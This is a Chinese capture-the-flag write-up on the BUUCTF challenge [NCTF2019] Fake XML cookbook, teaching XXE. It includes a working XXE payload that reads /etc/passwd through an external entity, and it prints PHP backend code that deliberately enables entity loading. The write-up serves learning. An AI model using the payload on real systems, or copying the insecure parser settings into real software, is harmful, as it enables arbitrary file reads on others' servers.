初识xxe
前言
- 环境:buuctf中[NCTF2019]Fake XML cookbook
- 知识点:xml,xxe漏洞
- 参考:wp
做题
一登录框,f12大概的看了下js源码,以POST形式访问doLogin.php,dataType是xml,参数是变量$data
,根据后台返回的code判断是否登录成功
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
抓包分析一下,发现post区域的数据跟我平常看到的不一样,后来才知道了这时xml形式
学习一下xxe漏洞:https://xz.aliyun.com/t/6887#toc-5
构造payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>admin1</password></user>
成功读取到/etc/passwd文件
读取/flag
后台源码
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
file_get_contents
获取客户端输入内容new DOMDocument()
初始化XML解析器loadXML($xmlfile)
加载客户端输入的XML内容simplexml_import_dom($dom)
获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。- 获取SimpleXMLElement对象中的节点username,和password,然后输出username的内容
获取username时,并没有进行过滤,导致了xxe,进行任意文件读取